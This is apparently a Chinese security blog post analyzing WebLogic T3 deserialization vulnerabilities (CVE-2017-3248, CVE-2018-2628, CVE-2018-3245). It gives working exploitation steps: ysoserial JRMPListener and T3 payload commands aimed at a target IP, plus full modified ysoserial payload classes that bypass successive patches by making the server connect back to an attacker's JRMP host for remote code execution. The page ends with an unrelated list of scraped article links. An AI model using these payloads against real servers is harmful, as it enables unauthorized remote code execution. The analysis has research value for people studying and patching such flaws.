前言

上上篇文章我们分析了CVE-2015-4852、CVE-2016-0638、CVE-2016-3510的漏洞,因果是从resolveClass方法中出现的,resolveClass方法直接继承了父类的方法,然后没有任何过滤的造成了序列化漏洞,后面两个cve都是前者的绕过。今天分析一下CVE-2017-3248 & CVE-2018-2628,上上文中我们知道readClassDesc类描述方法可分为没有代理的类和代理类,CVE-2017-3248漏洞的成因就是代理类resolveProxyClass方法。

CVE-2017-3248

利用原理是:
攻击机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后,开启JRMP客户端,并连接服务端 -》服务端发送exp给客户端,客户端上的DGC接收到响应即会反序列化。
核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行.
如果仔细分析过上篇文章的,这里的利用步骤能很容易看懂。
首先我们开启JRMP服务端:

java -cp .\ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/success'


利用T3协议发送payload/JRMPClient,然目标回连我们:

python2 2017-3248.py 192.168.202.129 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.202.1 9999 JRMPClient


发送T3协议payload的POC

python2 p2-CVE-2017-3248.py dip dport path_ysoserial jrmp_listener_ip jrmp_listener_port jrmp_client


漏洞分析:
上文中的payloads/JRMPClient的分析部分就是这里漏洞的分析,只不过resolveProxyClass方法,没有过滤java.rmi.registry.Registry类,造成了反序列化。

CVE-2018-2628

先看看补丁中InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {String[] arr$ = interfaces;int len$ = interfaces.length;for(int i$ = 0; i$ < len$; ++i$) {String intf = arr$[i$];if(intf.equals("java.rmi.registry.Registry")) {throw new InvalidObjectException("Unauthorized proxy deserialization");}}return super.resolveProxyClass(interfaces);
}

方法1:取消代理proxy
取消代理proxy,不走resolveProxyClass,而去走resolveClass就可以绕过
JRMP3/JRMP4没有使用代理类,而去走resolveClass,resolveClass方法中没有对java.rmi.registry.Registry类进行过滤,所以可绕过

package ysoserial.payloads;import java.rmi.server.ObjID;
import java.util.Random;import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {public Object getObject (final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if (sep < 0) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID objID = new ObjID(new Random().nextInt());TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);return stub;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());PayloadRunner.run(JRMPClient3.class, args);}
}
package ysoserial.payloads;import java.rmi.server.ObjID;
import java.util.Random;import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> {public Object getObject (final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if (sep < 0) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID objID = new ObjID(new Random().nextInt());TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));ReferenceWrapper_Stub stub = new ReferenceWrapper_Stub(ref);return stub;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient4.class.getClassLoader());PayloadRunner.run(JRMPClient4.class, args);}
}

方法2:寻找Registry的替代类
绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map

package ysoserial.payloads;import java.lang.reflect.Proxy;
//import java.rmi.registry.Registry;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;/***** UnicastRef.newCall(RemoteObject, Operation[], int, long)* DGCImpl_Stub.dirty(ObjID[], long, Lease)* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)* DGCClient.registerRefs(Endpoint, List<LiveRef>)* LiveRef.read(ObjectInput, boolean)* UnicastRef.readExternal(ObjectInput)** Thread.start()* DGCClient$EndpointEntry.<init>(Endpoint)* DGCClient$EndpointEntry.lookup(Endpoint)* DGCClient.registerRefs(Endpoint, List<LiveRef>)* LiveRef.read(ObjectInput, boolean)* UnicastRef.readExternal(ObjectInput)** Requires:* - JavaSE** Argument:* - host:port to connect to, host only chooses random port (DOS if repeated many times)** Yields:* * an established JRMP connection to the endpoint (if reachable)* * a connected RMI Registry proxy* * one system thread per endpoint (DOS)** @author mbechler*/
@SuppressWarnings ( {"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {public Activator getObject ( final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);/*Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {Registry.class}, obj);*/Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {Activator.class}, obj);return proxy;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());PayloadRunner.run(JRMPClient2.class, args);}
}

自行打包ysoserial,即可使用

CVE-2018-3245

根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。
那么这个类应该满足以下条件:
继承远程类:java.rmi.server.RemoteObject
不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
符合条件的还不少,可在idea中查看谁实现了RemoteObject这个类。

RMIConnectionImpl_Stub 继承了 java.rmi.server.RemoteStub 继承了java.rmi.server.RemoteObject

稍微改一下payload便能继续利用了:

package ysoserial.payloads;import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;@SuppressWarnings ( {"restriction"
} )public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {public Object getObject ( final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);return stub;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());PayloadRunner.run(JRMPClient3.class, args);}
}
参考:
https://xz.aliyun.com/t/2479
https://www.cnblogs.com/nice0e3/p/14275298.html
https://www.cnblogs.com/yyhuni/p/15177765.html
http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/#CVE-2016-0638

weblogicT3反序列化之CVE-2017-3248CVE-2018-2628CVE-2018-3245相关推荐

  1. 2017年总结,2018的新目标

    毕业快半年了,工作经验也是一年左右.感觉是毕业出来工作后所学习的东西比学校学习的还多.学的东西多了,那么自然是要整理整理才行的. 所以今年就写博客了,当初写技术博客只是想做个学习笔记,方便记忆自己学习 ...

  2. ML之PDP:基于FIFA 2018 Statistics(2018年俄罗斯世界杯足球赛)球队比赛之星分类预测数据集利用DT决策树RF随机森林+PDP部分依赖图可视化实现模型可解释性之详细攻略

    ML之PDP:基于FIFA 2018 Statistics(2018年俄罗斯世界杯足球赛)球队比赛之星分类预测数据集利用DT决策树&RF随机森林+PDP部分依赖图可视化实现模型可解释性之详细攻 ...

  3. ML之shap:基于FIFA 2018 Statistics(2018年俄罗斯世界杯足球赛)球队比赛之星分类预测数据集利用RF随机森林+计算SHAP值单样本力图/依赖关系贡献图可视化实现可解释性之攻略

    ML之shap:基于FIFA 2018 Statistics(2018年俄罗斯世界杯足球赛)球队比赛之星分类预测数据集利用RF随机森林+计算SHAP值单样本力图/依赖关系贡献图可视化实现可解释性之详细 ...

  4. php cve 2017 12933,18-017 (March 27, 2018)

    描述 * indicates a new version of an existing rule Deep Packet Inspection Rules: DCERPC Services - Cli ...

  5. 2017 年总结及 2018 年计划

    概述 本文写于 2018.01.01,计划从 2017 开始有目的的进行复盘行动,所以将该文搬运到此处. ----------------------------分界线---------------- ...

  6. CV算法复现(分类算法6/6):MobileNet(2017年V1,2018年V2,2019年V3,谷歌)

    致谢:霹雳吧啦Wz:霹雳吧啦Wz的个人空间_哔哩哔哩_Bilibili 目录 致谢:霹雳吧啦Wz:霹雳吧啦Wz的个人空间_哔哩哔哩_Bilibili 1 本次要点 1.1 pytorch框架语法 2 ...

  7. Kotlin的2017年总结与2018年展望

    \ 看新闻很累?看技术新闻更累?试试下载InfoQ手机客户端,每天上下班路上听新闻,有趣还有料! \ \\ 自JetBrains于2017年3月发布Kotlin 1.1以来,Kotlin在全球范围内成 ...

  8. 转变--一个平凡人的2017年总结及2018年展望

    1. 今天是我来博客园的第五年的第一天,也是我习惯的总结时间. 2.先回顾一些历年的情况: 2.1 进博客园的第一年 目标: 总结: 2.2 进博客园的第二年 目标: 总结: 2.3 进博客园的第三年 ...

  9. 迟到的2017年终总结与2018目标规划

    就在2018年的1月1日,我就麻烦不断,一直处理到昨天才算消停.这一晃,新的一年1月份已快到结尾了.由于个人原因,好几个月没来园子里逛逛了,博客也有一段时间没有更新了. 下面,来总结一下我的2017年 ...

  10. 关于2017年总结及2018年计划

     已经进入2018年2个多月了,一直想静下心来,写一写2017的一些感想,但是最近太忙,没有找到机会,今天公司年会,突然很强烈的想就今天,静下来好好审视一番过去一年的自己. 在过去的2017年,总体来 ...

最新文章

  1. Ubuntu定时任务crontab命令介绍
  2. Django form表单
  3. PIC单片机精通_ADC左对齐与右对齐的数据读取问题
  4. 基于WebRTC的互动直播实践
  5. 海量服务 | 论服务器极致化海量运营交付的未来
  6. hive源碼編譯(失敗記錄)
  7. ICDE:POLARDB定义云原生数据库
  8. python mpi 多节点_python – 如何找到MPI(4PY)可用的内核数量?
  9. 自学前端开发:想要学习成为一名优秀的前端开发者,代码之外需要关注的问题
  10. gtest的Linux使用(Google test)
  11. Please create pull requests instead of asking for help on Homebrew‘s GitHubError: macOS 10.13
  12. 2012—2018年软考中级软件设计师历年真题
  13. 市场调研思维导图模板
  14. c++ 循环控制语句 while语句 do...while语句 for语句 for循环
  15. 即时通讯服务服务器 ejabberd、jabber、jabberd、xmpp简介
  16. C语言高级应用---操作linux下V4L2摄像头应用程序
  17. Uni-app 小程序使用腾讯云IM实时通讯
  18. 开发一个 Chrome 浏览器插件,拢共分几步?
  19. csv文件太大,显示不全,切分成小文件
  20. avc水平什么意思_AVC是什么?

热门文章

  1. window自带的桌面整理工具
  2. html添加一条虚线垂直的,【html问题】在网页中添加垂直分割线
  3. java毕业设计_基于web的游泳馆管理系统的设计与实现
  4. eplan 电箱布局_EPLAN电气图实例--控制柜(1)
  5. 判断当前音效是否播放完毕
  6. 能有效恢复已删除文件的 5 个免费数据恢复软件分享
  7. NGFW盒式防火墙开局及组网规划2022
  8. 呼叫中心中继网关参数选型
  9. 如何设置计算机硬盘密码,计算机设置硬盘加密方法以启动密码
  10. matlab crnd,谁能提供一份用藤copula(c藤和D藤)产生随机数,进而求VaR的matlab程序,谢谢...